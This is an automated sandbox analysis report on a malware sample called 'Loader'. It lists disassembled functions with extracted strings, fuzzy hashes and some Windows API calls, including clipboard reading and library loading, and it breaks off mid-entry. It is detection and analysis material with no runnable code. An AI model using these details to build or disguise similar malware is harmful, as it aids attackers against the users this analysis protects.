Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Loader.jbxd

Similarity

API ID:
String ID: #8 ;$0 '*$OJGM$\$sub
API String ID: 0-4116661891
Opcode ID: ea3d9d4d379ccb574cdeda43b69c06f5bc1c7eb1accdaee10e847c34ba1cb1ff
Instruction ID: 745ce9216d87a7694c21b7e84085b5234fc877cb8e5089d26345b4ed2c43623f
Opcode Fuzzy Hash: ea3d9d4d379ccb574cdeda43b69c06f5bc1c7eb1accdaee10e847c34ba1cb1ff
Instruction Fuzzy Hash: C05220B1A08350CFD714DF25E84166BBBF1EBC6304F04992EE4859B391E739DA05CB8A

Function 004096C0 Relevance: 12.9, Strings: 10, Instructions: 368COMMON

Download Yara Rule

Strings

^^X\, xrefs: 004099AF
6, xrefs: 00409845
HC, xrefs: 00409724
djfo, xrefs: 0040976C
W6, xrefs: 004097BC
jjdo, xrefs: 00409764
YX, xrefs: 0040983E
", xrefs: 004098FE
g, xrefs: 00409993
jdjU, xrefs: 0040977C

Memory Dump Source

Source File: 00000000.00000002.2090149567.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2090149567.000000000044D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Loader.jbxd

Similarity

API ID:
String ID: "$6$HC$W6$YX$^^X\$djfo$g$jdjU$jjdo
API String ID: 0-3122698094
Opcode ID: 1a2eb40f69fa46ad83eb58b6576d5d57e5fc8704f86b23584af90b8fc106e902
Instruction ID: dc800d28eadb6074c4282ca1150e7661f91b23fc06a0c3a4deed06dd3e600a52
Opcode Fuzzy Hash: 1a2eb40f69fa46ad83eb58b6576d5d57e5fc8704f86b23584af90b8fc106e902
Instruction Fuzzy Hash: 7CB1C47124C3818BD3158F2984607ABFFE1AFD7304F48996DE4D55B386D239890AC7AA

Function 009B9927 Relevance: 12.9, Strings: 10, Instructions: 368COMMON

Download Yara Rule

Strings

", xrefs: 009B9B65
jjdo, xrefs: 009B99CB
HC, xrefs: 009B998B
jdjU, xrefs: 009B99E3
djfo, xrefs: 009B99D3
^^X\, xrefs: 009B9C16
6, xrefs: 009B9AAC
g, xrefs: 009B9BFA
YX, xrefs: 009B9AA5
W6, xrefs: 009B9A23

Memory Dump Source

Source File: 00000000.00000002.2090505942.00000000009B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 009B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9b0000_Loader.jbxd

Yara matches

Similarity

API ID:
String ID: "$6$HC$W6$YX$^^X\$djfo$g$jdjU$jjdo
API String ID: 0-3122698094
Opcode ID: 1a2eb40f69fa46ad83eb58b6576d5d57e5fc8704f86b23584af90b8fc106e902
Instruction ID: b799891d7cc4ed19a0dfe520d8620cd0c47d800ea413833eada69bb1a7a8bff5
Opcode Fuzzy Hash: 1a2eb40f69fa46ad83eb58b6576d5d57e5fc8704f86b23584af90b8fc106e902
Instruction Fuzzy Hash: D0B1D27125C3D18BD3168F2989A07ABFFE1AFD3314F18996CE4D58B242D239850AC766

Function 0040E923 Relevance: 12.0, Strings: 9, Instructions: 727COMMON

Download Yara Rule

Strings

), xrefs: 0040F044
$, xrefs: 0040EB4D
9, xrefs: 0040EF81
f, xrefs: 0040F16A
+, xrefs: 0040EE8F
<, xrefs: 0040EBDD
e, xrefs: 0040F165
l, xrefs: 0040EE34
e, xrefs: 0040EC9C

Memory Dump Source

Source File: 00000000.00000002.2090149567.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2090149567.000000000044D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Loader.jbxd

Similarity

API ID:
String ID: $$)$+$9$<$e$e$f$l
API String ID: 0-1352273849
Opcode ID: 4754d7a99383e4982bf03e37a4f23ac73c2c46227a57678fa1b5b1f37010ea1a
Instruction ID: c644ba656b469985d87ebee378f492cb48b619d0b6c521fd412c974871104c50
Opcode Fuzzy Hash: 4754d7a99383e4982bf03e37a4f23ac73c2c46227a57678fa1b5b1f37010ea1a
Instruction Fuzzy Hash: 8A52B07260C7C08AD3259B3984513AFFBE2AFD5314F18897EE4D9873D2DA7885068B17

Function 009BEB8A Relevance: 12.0, Strings: 9, Instructions: 727COMMON

Download Yara Rule

Strings

e, xrefs: 009BEF03
$, xrefs: 009BEDB4
9, xrefs: 009BF1E8
e, xrefs: 009BF3CC
+, xrefs: 009BF0F6
), xrefs: 009BF2AB
<, xrefs: 009BEE44
f, xrefs: 009BF3D1
l, xrefs: 009BF09B

Memory Dump Source

Source File: 00000000.00000002.2090505942.00000000009B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 009B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9b0000_Loader.jbxd

Yara matches

Similarity

API ID:
String ID: $$)$+$9$<$e$e$f$l
API String ID: 0-1352273849
Opcode ID: 05fd98d26459cbc6d3271251d3036375faf289bb61ff2b6b9bd6552d9edebd45
Instruction ID: 3377678924f40d50fe4f8bb46bc658bf8222a6d70ebc5a97a79c429202a69899
Opcode Fuzzy Hash: 05fd98d26459cbc6d3271251d3036375faf289bb61ff2b6b9bd6552d9edebd45
Instruction Fuzzy Hash: F052B07160C7C08AD3259B7889517EFFFD2AFD5320F188A6EE4D987392DA7885058B13

Function 00417CE0 Relevance: 11.2, APIs: 3, Strings: 3, Instructions: 741libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(06E104E2,00000000,00000800), ref: 00417F3F
FreeLibrary.KERNEL32(?), ref: 004180C7
FreeLibrary.KERNEL32(?), ref: 00418104

Part of subcall function 00436640: LdrInitializeThunk.NTDLL(004380DE,005C003F,0000002C,?,?,00000018,?,00000000,?,?,?,?,00000000,00000000), ref: 0043666E

Strings

+,, xrefs: 00417EDA
02, xrefs: 00417EC2
I,~M, xrefs: 004185F3

Memory Dump Source

Source File: 00000000.00000002.2090149567.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2090149567.000000000044D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Loader.jbxd

Similarity

API ID: Library$Free$InitializeLoadThunk
String ID: +,$I,~M$02
API String ID: 1796832881-3583216067
Opcode ID: e16c3cb53e93a9eb47d8b0e71f0165a403e57d92705b12be17c330c7302f8e6b
Instruction ID: 9b8f5869cf207a41dcc0dddef0a357ffe5e46c1b6b457678bc561ccfda5c585e
Opcode Fuzzy Hash: e16c3cb53e93a9eb47d8b0e71f0165a403e57d92705b12be17c330c7302f8e6b
Instruction Fuzzy Hash: 8F420674608300AFE724DF14DC45B6B77E2EB85718F68892EF594473A1EB38DC858B4A

Function 00424D90 Relevance: 10.8, Strings: 8, Instructions: 809COMMON

Download Yara Rule

Strings

2QB, xrefs: 00425129
t+v, xrefs: 004256FD
fTB, xrefs: 0042536D, 0042544B, 00425460
}*i,, xrefs: 00425051
tu, xrefs: 0042522A
hj, xrefs: 00425705
-., xrefs: 0042505D
", xrefs: 004254AB

Memory Dump Source

Source File: 00000000.00000002.2090149567.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2090149567.000000000044D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Loader.jbxd

Similarity

API ID:
String ID: "$-.$2QB$fTB$tu$}*i,$hj$t+v
API String ID: 0-2485709860
Opcode ID: 29f4535ae265b3dddced72911da6de5f0d768d19fa6309cc063f285e2657f8bd
Instruction ID: 7f72ebe1ad2216d7ce8b72d5ae0f55b1991b0885920f26a2299e05040568a4fc
Opcode Fuzzy Hash: 29f4535ae265b3dddced72911da6de5f0d768d19fa6309cc063f285e2657f8bd
Instruction Fuzzy Hash: 214252B2A087108FD724CF68E85176FB7E2EFC5304F49492DE9958B391E7789805CB86

Function 009C047E Relevance: 10.7, Strings: 8, Instructions: 717COMMON

Download Yara Rule

Strings

i, xrefs: 009C0BE9
n, xrefs: 009C0847
4, xrefs: 009C0609
`, xrefs: 009C0BE4
-, xrefs: 009C0AB3
li`, xrefs: 009C0C2C
o, xrefs: 009C097C
', xrefs: 009C0ABB

Memory Dump Source

Source File: 00000000.00000002.2090505942.00000000009B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 009B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9b0000_Loader.jbxd

Yara matches

Similarity

API ID:
String ID: '$-$4$`$i$li`$n$o
API String ID: 0-1486452282
Opcode ID: 9193ff3000478423ed5d92f52579c715e867faef7a3a23fdfe20ed38c5829366
Instruction ID: 9dd05dc27458b1b11815d504f93c133d4bd64cbcfbf98ab2538dab3414a1fc1e
Opcode Fuzzy Hash: 9193ff3000478423ed5d92f52579c715e867faef7a3a23fdfe20ed38c5829366
Instruction Fuzzy Hash: DC52927160D7808FD3299B3884957AEBBE1AFD5320F188E6DE5E9873D2D6388541CB13

Function 00415D37 Relevance: 10.6, Strings: 8, Instructions: 638COMMON

Download Yara Rule

Strings

w, xrefs: 00415F9A
6[5], xrefs: 004162ED
=_!A, xrefs: 004162F5
*G, xrefs: 00416167
6KLM, xrefs: 0041630D
]A, xrefs: 00415DDE, 004160E0
)G&I, xrefs: 00416305
RM, xrefs: 0041614F

Memory Dump Source

Source File: 00000000.00000002.2090149567.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2090149567.000000000044D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Loader.jbxd

Similarity

API ID:
String ID: ]A$)G&I$*G$6KLM$6[5]$=_!A$RM$w
API String ID: 0-1101437038
Opcode ID: 28a4160fe6d142dfcb7014bcf8b9b1238e789811413e39db9fe7ec52acea4329
Instruction ID: c610d7b40785f136b1457b2a1c368cd154a1669919b9676f01bb1cbf840cafd6
Opcode Fuzzy Hash: 28a4160fe6d142dfcb7014bcf8b9b1238e789811413e39db9fe7ec52acea4329
Instruction Fuzzy Hash: 9E223571608301CBC728CF28D8917ABB7E2EFC9310F19896DE4D58B291E7389946CB56

Function 00410CB9 Relevance: 10.6, Strings: 8, Instructions: 577COMMON

Download Yara Rule

Strings

p, xrefs: 00411364
0, xrefs: 004112AD
., xrefs: 00410CCF
>, xrefs: 00410D88
R, xrefs: 004110E4
/, xrefs: 00410F2A
!, xrefs: 0041116D
(, xrefs: 004112B5

Memory Dump Source

Source File: 00000000.00000002.2090149567.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2090149567.000000000044D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Loader.jbxd

Similarity

API ID:
String ID: !$($.$/$0$>$R$p
API String ID: 0-3113089360
Opcode ID: 0a74452b83a32bb4fbd24445bc685538bde5c9c1dc67c25aa7311c5751b592d0
Instruction ID: 567d9a7ccd9ddcf390e6e659abf75d1f6b6bdfe8a0fc6b5ec198f08f271521ef
Opcode Fuzzy Hash: 0a74452b83a32bb4fbd24445bc685538bde5c9c1dc67c25aa7311c5751b592d0
Instruction Fuzzy Hash: 0332B57160D7808BD324DF39C4913AFBBE2AFD5314F188A2EE5D987392DA7885458B07

Function 00427320 Relevance: 10.2, Strings: 8, Instructions: 226COMMON

Download Yara Rule

Strings

_yZ7, xrefs: 00427440
2#%I, xrefs: 004273D6
)03>, xrefs: 0042744A
)q<<, xrefs: 0042742C
#ovC, xrefs: 00427436
]STR, xrefs: 004273E0
.,5-, xrefs: 004273CC
omL:, xrefs: 00427422

Memory Dump Source

Source File: 00000000.00000002.2090149567.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2090149567.000000000044D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Loader.jbxd

Similarity

API ID:
String ID: #ovC$)03>$)q<<$.,5-$2#%I$]STR$_yZ7$omL:
API String ID: 0-3224025858
Opcode ID: c625300b17d82548a837071a96ba3a33a4e6bbf457221e526c182573be6e04d7
Instruction ID: 9f90608b1fd7177569780ee1ce497e3e04851c5c3f88fb66f08414daa0cb8d13
Opcode Fuzzy Hash: c625300b17d82548a837071a96ba3a33a4e6bbf457221e526c182573be6e04d7
Instruction Fuzzy Hash: 3A8103B0509B818AE325CF3995907A3FFE2EF53300F58896DC4EA1B346D734650ACB69

Function 009D7587 Relevance: 10.2, Strings: 8, Instructions: 226COMMON

Download Yara Rule

Strings

.,5-, xrefs: 009D7633
_yZ7, xrefs: 009D76A7
#ovC, xrefs: 009D769D
omL:, xrefs: 009D7689
2#%I, xrefs: 009D763D
]STR, xrefs: 009D7647
)q<<, xrefs: 009D7693
)03>, xrefs: 009D76B1

Memory Dump Source

Source File: 00000000.00000002.2090505942.00000000009B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 009B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9b0000_Loader.jbxd

Yara matches

Similarity

API ID:
String ID: #ovC$)03>$)q<<$.,5-$2#%I$]STR$_yZ7$omL:
API String ID: 0-3224025858
Opcode ID: 898139dbd8ac4c9e507ecec02343f914c85180c8bffc758599163b025d85c523
Instruction ID: 10aa93af50fd370db0ad0d9293d1940e4b08894656cf4edea3d3c95a8927c319
Opcode Fuzzy Hash: 898139dbd8ac4c9e507ecec02343f914c85180c8bffc758599163b025d85c523
Instruction Fuzzy Hash: 6F81F0B0509B818AE325CF358490BA3FFE6EF92300F18996DC4EB1B346D735650ACB65

Function 0042D590 Relevance: 9.1, APIs: 6, Instructions: 127clipboardCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 0042D5B2
GetWindowLongW.USER32 ref: 0042D5DD
GetClipboardData.USER32 ref: 0042D5EF
CloseClipboard.USER32 ref: 0042D710

Memory Dump Source

Source File: 00000000.00000002.2090149567.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2090149567.000000000044D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Loader.jbxd

Similarity

API ID: Clipboard$CloseDataLongOpenWindow
String ID:
API String ID: 1647500905-0
Opcode ID: eb6963aa380eb72c9cde38e92e6a7f9c2f6b3012184457669d5f8acd50cb1d1b
Instruction ID: e2d16bec23608a39730635d3504b1aeb9e82e35e986bf73131f0028e771edc90
Opcode Fuzzy Hash: eb6963aa380eb72c9cde38e92e6a7f9c2f6b3012184457669d5f8acd50cb1d1b
Instruction Fuzzy Hash: F64102B1908B929FD710AF78994925EBFA0AB02310F44873EE8E5872C1D3389965C7D7

Function 00425140 Relevance: 8.0, Strings: 6, Instructions: 493COMMON

Download Yara Rule

Strings

2QB, xrefs: 00425129
t+v, xrefs: 004256FD
fTB, xrefs: 0042536D, 00425460
tu, xrefs: 0042522A
hj, xrefs: 00425705
", xrefs: 004254AB

Memory Dump Source

Source File: 00000000.00000002.2090149567.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2090149567.000000000044D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Loader.jbxd

Similarity

API ID:
String ID: "$2QB$fTB$tu$hj$t+v
API String ID: 0-959241240
Opcode ID: 6a821bc33d6c323db622d304a032477e2320b8cf4a1f67c14be70eb3978d22ed
Instruction ID: d3e892288ddd59beea3a7de441ef6a063dc7e6c1c32c15028a9795ec88d29be6
Opcode Fuzzy Hash: 6a821bc33d6c323db622d304a032477e2320b8cf4a1f67c14be70eb3978d22ed
Instruction Fuzzy Hash: 93E155B1A087108FD714DF69D89226BB7E1EF85314F48592DF9D58B391E778D800CB8A

Function 009C6380 Relevance: 7.8, Strings: 6, Instructions: 257COMMON

Download Yara Rule

Strings

)G&I, xrefs: 009C656C
RM, xrefs: 009C63B6
*G, xrefs: 009C63CE
6[5], xrefs: 009C6554
6KLM, xrefs: 009C6574
=_!A, xrefs: 009C655C

Memory Dump Source

Source File: 00000000.00000002.2090505942.00000000009B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 009B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9b0000_Loader.jbxd

Yara matches

Similarity

API ID:
String ID: )G&I$*G$6KLM$6[5]$=_!A$RM
API String ID: 0-3774527828
Opcode ID: c361d87659b251f1f7e02d1899815e953bdc65c256a96b34700236b074336531
Instruction ID: ccd7d4a2e3602e5c43796fbf991892891df356fe2c1a31ab6be42bdff2e09c54
Opcode Fuzzy Hash: c361d87659b251f1f7e02d1899815e953bdc65c256a96b34700236b074336531
Instruction Fuzzy Hash: 807124B15083128BC728CF19C4A0BABB7F2FFC8754F19852DE4C64B665E7749941CB46

Function 00416E23 Relevance: 6.7, Strings: 5, Instructions: 488COMMON

Download Yara Rule

Strings

h&E8, xrefs: 00416F59
D, xrefs: 004171C7
JFL-, xrefs: 0041723E
9:, xrefs: 00416F64
o, xrefs: 00416E2B

Memory Dump Source

Source File: 00000000.00000002.2090149567.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2090149567.000000000044D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Loader.jbxd

Similarity

API ID:
String ID: 9:$D$JFL-$h&E8$o
API String ID: 0-531516058
Opcode ID: 49112c175320e6661e0c4b8d63fb7e5f33d1292af31e186bc4cc7c1f35b26d58
Instruction ID: b23c3218638bcb06c2cfc9dd15a303533cac3f98829ca5ee037aa0ec8c0f1f53
Opcode Fuzzy Hash: 49112c175320e6661e0c4b8d63fb7e5f33d1292af31e186bc4cc7c1f35b26d58
Instruction Fuzzy Hash: C1E1C1B02083419FD324CF24C861BABBBF2EF96314F145A5DE4D58B3A1E3789945CB5A

Function 00431EF0 Relevance: 6.7, Strings: 5, Instructions: 412COMMON

Download Yara Rule

Strings

C, xrefs: 00431F0D
C, xrefs: 00431F8B
Q[o, xrefs: 00432407
o, xrefs: 004323AC
[, xrefs: 004323B1

Memory Dump Source

Source File: 00000000.00000002.2090149567.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2090149567.000000000044D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Loader.jbxd

Similarity

API ID:
String ID: C$C$Q[o$[$o
API String ID: 0-1668128826
Opcode ID: 9f72fdcdf436dbb38752efce0ff1fad3664fa3ddbe133383883555a246cfabd8
Instruction ID: 3ba40ce7a89dfe6b95188ae4fae763c58090f781aee533736f0cae096f182f61
Opcode Fuzzy Hash: 9f72fdcdf436dbb38752efce0ff1fad3664fa3ddbe133383883555a246cfabd8
Instruction Fuzzy Hash: 88E1A053A5D7E14AC315C9398C1129FAFD34BE6120F4DCBADE8E4877CAD06CC90A9362

Function 009E2157 Relevance: 6.7, Strings: 5, Instructions: 412COMMON

Download Yara Rule

Strings

C, xrefs: 009E2174
[, xrefs: 009E2618
o, xrefs: 009E2613
C, xrefs: 009E21F2
Q[o, xrefs: 009E266E

Memory Dump Source

Source File: 00000000.00000002.2090505942.00000000009B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 009B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9b0000_Loader.jbxd

Yara matches

Similarity

API ID:
String ID: C$C$Q[o$[$o
API String ID: 0-1668128826
Opcode ID: 9f72fdcdf436dbb38752efce0ff1fad3664fa3ddbe133383883555a246cfabd8
Instruction ID: c19b8e2774fce8dda9ce6012d42c6c8dddae62e706d77d59571cd378690dbbc2
Opcode Fuzzy Hash: 9f72fdcdf436dbb38752efce0ff1fad3664fa3ddbe133383883555a246cfabd8
Instruction Fuzzy Hash: 52E1A253A5D7E14AC315CA798C1129FAFD34BE2120F4DCBADE8E4877CAC46CC9069362

Function 0040AD70 Relevance: 6.6, Strings: 5, Instructions: 376COMMON

Download Yara Rule

Strings

LIIH, xrefs: 0040B003
z{, xrefs: 0040AF35
BWP@, xrefs: 0040B1BE, 0040B0B0, 0040B1C7, 0040B106, 0040AFE4, 0040B0FB
BWP@, xrefs: 0040B01D
f, xrefs: 0040AD8E

Memory Dump Source

Source File: 00000000.00000002.2090149567.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2090149567.000000000044D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Loader.jbxd

Similarity

API ID:
String ID: BWP@$BWP@$LIIH$f$z{
API String ID: 0-3010253193
Opcode ID: fb4a41d1c40b240605eb6e47dadb03881828ba8299c27fd1fe85e0c06736d922
Instruction ID: fa68832b7bc5e6ae33039d08c357e923a9106160a4f7ba8f57a133a177e0dd74
Opcode Fuzzy Hash: fb4a41d1c40b240605eb6e47dadb03881828ba8299c27fd1fe85e0c06736d922
Instruction Fuzzy Hash: 77C14A7264C3518FD324CF2894506ABBBD2EBD2304F19483EE8D15B385DB798D09DB9A

Function 00416570 Relevance: 6.4, Strings: 5, Instructions: 189COMMON

Download Yara Rule

Strings

kIC, xrefs: 0041667B
aIC, xrefs: 00416614
ab, xrefs: 0041660D
gfff, xrefs: 004166C5
jYl, xrefs: 00416682

Memory Dump Source

Source File: 00000000.00000002.2090149567.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2090149567.000000000044D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Loader.jbxd

Similarity

API ID: InitializeThunk
String ID: jYl$aIC$ab$gfff$kIC
API String ID: 2994545307-1430460337
Opcode ID: b078890b417c2226b4e7e0a66b714796c88f0a7ffdf542b3fea93a3f31ea6f80
Instruction ID: 2f7af231fb26ca4b85d251c0ff28d0d3975fbda5e3ddee5e58f01055be3a4d92
Opcode Fuzzy Hash: b078890b417c2226b4e7e0a66b714796c88f0a7ffdf542b3fea93a3f31ea6f80
Instruction Fuzzy Hash: 0E5165726042114BE718CF29DC117BBB6D7ABC5315F09823EE466C73D5EA3CD8468B89

Function 009C67D7 Relevance: 6.4, Strings: 5, Instructions: 189COMMON

Download Yara Rule

Strings

jYl, xrefs: 009C68E9
ab, xrefs: 009C6874
gfff, xrefs: 009C692C
aIC, xrefs: 009C687B
kIC, xrefs: 009C68E2

Memory Dump Source

Source File: 00000000.00000002.2090505942.00000000009B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 009B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9b0000_Loader.jbxd

Yara matches

Similarity

API ID:
String ID: jYl$aIC$ab$gfff$kIC
API String ID: 0-1430460337
Opcode ID: 8b607455730bec90f66caa82918f3e61b6232c9b71acd27e0d4e7169e61726d0
Instruction ID: 97637cd6e7a85e7cba18832309b6b76ec9e1e794bf85a88f7097ac2504072ac2
Opcode Fuzzy Hash: 8b607455730bec90f66caa82918f3e61b6232c9b71acd27e0d4e7169e61726d0
Instruction Fuzzy Hash: 78516DB2A443514BE718CF29DC51B7E76DAEBC5314F18863DE556C73D1DB3894028B82

Function 009D8186 Relevance: 5.7, APIs: 1, Strings: 2, Instructions: 407COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?), ref: 009D825B

Strings

IJI@, xrefs: 009D829D
,JHh, xrefs: 009D8720

Memory Dump Source

Source File: 00000000.00000002.2090505942.00000000009B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 009B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9b0000_Loader.jbxd

Yara matches

Similarity

API ID: FreeLibrary
String ID: ,JHh$IJI@
API String ID: 3664257935-1373974188
Opcode ID: 92d559750ced587267f1fc6a850b1ef06f1070c419add6d996166c86ee125830
Instruction ID: 4380c751cdd8d5fca85e73a928234e706071163fd6c93e2190da246ab093fd0f
Opcode Fuzzy Hash: 92d559750ced587267f1fc6a850b1ef06f1070c419add6d996166c86ee125830
Instruction Fuzzy Hash: DDE1F660505B818EE7258F35C450BB3BBE59F63304F1888AEC1EB87793DB386406CB25

Function 00423F2B Relevance: 5.6, Strings: 4, Instructions: 638COMMON

Download Yara Rule

Strings

V_, xrefs: 00424242
e=-!, xrefs: 0042460A
G, xrefs: 00424237
Cp, xrefs: 0042422C

Memory Dump Source

Source File: 00000000.00000002.2090149567.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2090149567.000000000044D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Loader.jbxd

Similarity

API ID:
String ID: Cp$G$V_$e=-!
API String ID: 0-3257297829
Opcode ID: fcfc91fed46442560b09c6e1b16a79f290b4996b5cc60c00396d418728a280b2
Instruction ID: cc6b4f8354c5740df56e695d075981b17c940fd8225438d8a1e148be14ee52f5
Opcode Fuzzy Hash: fcfc91fed46442560b09c6e1b16a79f290b4996b5cc60c00396d418728a280b2
Instruction Fuzzy Hash: B9320E71A09391CFE324CF29E84075BB7E1FFC5314F198A6DE8998B291DB389905CB46

Function 00425CF2 Relevance: 5.4, Strings: 4, Instructions: 434COMMON

Download Yara Rule

Strings

?, xrefs: 004260AB
e, xrefs: 00425EBB
8;, xrefs: 00425EB4
T3, xrefs: 00425E94

Memory Dump Source

Source File: 00000000.00000002.2090149567.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2090149567.000000000044D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Loader.jbxd

Similarity

API ID:
String ID: 8;$?$e$T3
API String ID: 0-2321065344
Opcode ID: 7be9f353151778af30f03baf79061052fc606d96e7c877659600227dfefeac7c
Instruction ID: 908d313fa127a4268923976490a3720ee0d797162425c58a6d045e30dc291a99
Opcode Fuzzy Hash: 7be9f353151778af30f03baf79061052fc606d96e7c877659600227dfefeac7c
Instruction Fuzzy Hash: B2F15375608390EFD304DF29E84172B77E2AF8A318F494A6DF481472E2D779D901CB5A

Function 0042D927 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 81COMMON

Download Yara Rule

APIs

GetSystemMetrics.USER32 ref: 0042D959
GetSystemMetrics.USER32 ref: 0042D968

Strings

, xrefs: 0042DA13

Memory Dump Source

Source File: 00000000.00000002.2090149567.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2090149567.000000000044D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Loader.jbxd

Similarity

API ID: MetricsSystem
String ID:
API String ID: 4116985748-3916222277
Opcode ID: 03cb2c15eb394de2e3870c745ee2d94f79abab8825e1c9414556f56d30ec6947
Instruction ID: 459cad5049119cca8b4c5b8cf298f3e16cfe293c9e00cff123b59986d12be096
Opcode Fuzzy Hash: 03cb2c15eb394de2e3870c745ee2d94f79abab8825e1c9414556f56d30ec6947
Instruction Fuzzy Hash: 4C3192B09142009FDB00EF6CE98561EBBF5BB88304F11852EE498DB360D774A958CF86

Function 009C708A Relevance: 5.3, Strings: 4, Instructions: 282COMMON

Download Yara Rule

Strings

h&E8, xrefs: 009C71C0
o, xrefs: 009C7092
9:, xrefs: 009C71CB
D, xrefs: 009C742E

Memory Dump Source

Source File: 00000000.00000002.2090505942.00000000009B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 009B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9b0000_Loader.jbxd

Yara matches

Similarity

API ID:
String ID: 9:$D$h&E8$o
API String ID: 0-238551656
Opcode ID: 78f7d37739fb0533d3e8878311192022b321fdd8323db9650736f99886d4f7b2
Instruction ID: 8137647a6158cacb670cef0bece87b1a28c4917d987c7db7664302142651c887
Opcode Fuzzy Hash: 78f7d37739fb0533d3e8878311192022b321fdd8323db9650736f99886d4f7b2
Instruction Fuzzy Hash: C09167B05093818BE324CF65C461BABBBF1EF92318F04595CE4C58B2A1E3B98945CF57

Function 009CA744 Relevance: 4.3, Strings: 3, Instructions: 537COMMON

Download Yara Rule

Strings

EF, xrefs: 009CAC77
mn, xrefs: 009CAAEF
*, xrefs: 009CAA2D

Memory Dump Source

Source File: 00000000.00000002.2090505942.00000000009B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 009B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9b0000_Loader.jbxd

Yara matches

Similarity

API ID:
String ID: *$EF$mn
API String ID: 0-32348637
Opcode ID: 4c64b392158ef95758db5195f6bfe28b07b5dbeba005e37c72a12c266440b0d5
Instruction ID: 77c74819bc0f456cf7bb79cfed8d8a06a70281e5db4a109e56ca1981aadca14a
